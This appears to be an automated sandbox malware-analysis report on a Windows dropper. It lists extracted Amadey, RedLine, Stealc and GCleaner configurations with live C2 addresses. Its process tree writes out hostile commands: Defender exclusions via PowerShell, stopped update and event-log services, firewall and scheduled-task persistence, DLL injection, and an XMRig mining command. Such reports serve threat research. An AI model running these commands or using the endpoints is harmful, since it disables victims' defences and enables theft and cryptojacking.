Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
-
submitted
14-05-2024 18:00
General
-
Target
fd97d0b7ab1402fa0c7ea8fc7c10ca7d018cb6410ae88f6a48a7f4df331d81d3.exe
-
Size
1.9MB
-
MD5
4989aefc8b77298974d95ce814d5d259
-
SHA1
059a4a516f48482de3b86534b3cb64e934e17657
-
SHA256
fd97d0b7ab1402fa0c7ea8fc7c10ca7d018cb6410ae88f6a48a7f4df331d81d3
-
SHA512
d4a7bf1599c7a3a1731317ac5c293467f132e9b5c47058218a9504156c1764ed627effb9bc4e16d34d38d01ae629633e37b4eac654529a1935457a33bd1d4247
-
SSDEEP
49152:OrSvpy/qUbhxopFHYokOM+W2oPJ0QVRnM/x+e8nB9FaOom:8yEhx+FlF/aPP3Sx+eSjx
Malware Config
Extracted
amadey
4.20
http://5.42.96.7
-
install_dir
7af68cdb52
-
install_file
axplons.exe
-
strings_key
e2ce58e78f631ed97d01fe7b70e85d5e
-
url_paths
/zamo7h/index.php
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
1
185.215.113.67:26260
Extracted
stealc
http://49.13.229.86
-
url_path
/c73eed764cc59dcb.php
Extracted
gcleaner
185.172.128.90
5.42.64.56
5.42.65.64
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detect ZGRat V1 3 IoCs
-
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 5 IoCs
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
-
Stealc
Stealc is an infostealer written in C++.
-
XMRig Miner payload 13 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Stops running service(s) 4 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Executes dropped EXE 44 IoCs
-
Identifies Wine through registry keys 2 TTPs 5 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 18 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
Drops file in System32 directory 11 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
-
Suspicious use of SetThreadContext 6 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Program Files directory 15 IoCs
-
Drops file in Windows directory 5 IoCs
-
Launches sc.exe 20 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 12 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 41 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\fd97d0b7ab1402fa0c7ea8fc7c10ca7d018cb6410ae88f6a48a7f4df331d81d3.exe"C:\Users\Admin\AppData\Local\Temp\fd97d0b7ab1402fa0c7ea8fc7c10ca7d018cb6410ae88f6a48a7f4df331d81d3.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"5⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 36⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1824 -s 3844⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClient5⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClient confirm5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLink5⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLink confirm5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLink5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "4⤵
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClientC5⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClientC confirm5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\sc.exeSc delete PiercingNetLink5⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove PiercingNetLink confirm5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start PiercingNetLink5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "4⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLinks5⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLinks confirm5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLinks5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000258001\dl.exe"C:\Users\Admin\AppData\Local\Temp\1000258001\dl.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 4845⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 5005⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 7885⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 7965⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 8205⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 8605⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 10485⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 10605⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 4845⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)9⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 6966⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 8325⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe"4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"5⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exeC:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1824 -ip 18241⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\215286.exe"C:\Windows\Temp\215286.exe" --list-devices3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\Temp\224454.exe"C:\Windows\Temp\224454.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4964 -ip 49641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2488 -ip 24881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2488 -ip 24881⤵
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exeC:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 856 -ip 8561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5116 -ip 51161⤵
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exeC:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\GameSyncLink\GameService.exeFilesize
288KB
MD5d9ec6f3a3b2ac7cd5eef07bd86e3efbc
SHA1e1908caab6f938404af85a7df0f80f877a4d9ee6
SHA256472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
SHA5121b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4
-
C:\Program Files (x86)\GameSyncLink\GameSyncLink.exeFilesize
2.5MB
MD5e6943a08bb91fc3086394c7314be367d
SHA1451d2e171f906fa6c43f8b901cd41b0283d1fa40
SHA256aafdcfe5386452f4924cfcc23f2cf7eccf3f868947ad7291a77b2eca2af0c873
SHA512505d3c76988882602f06398e747c4e496ecad9df1b7959069b87c8111c4d9118484f4d6baef5f671466a184c8caec362d635da210fa0987ccb746cbeea218d2a
-
C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exeFilesize
6.2MB
MD51bacbebf6b237c75dbe5610d2d9e1812
SHA13ca5768a9cf04a2c8e157d91d4a1b118668f5cf1
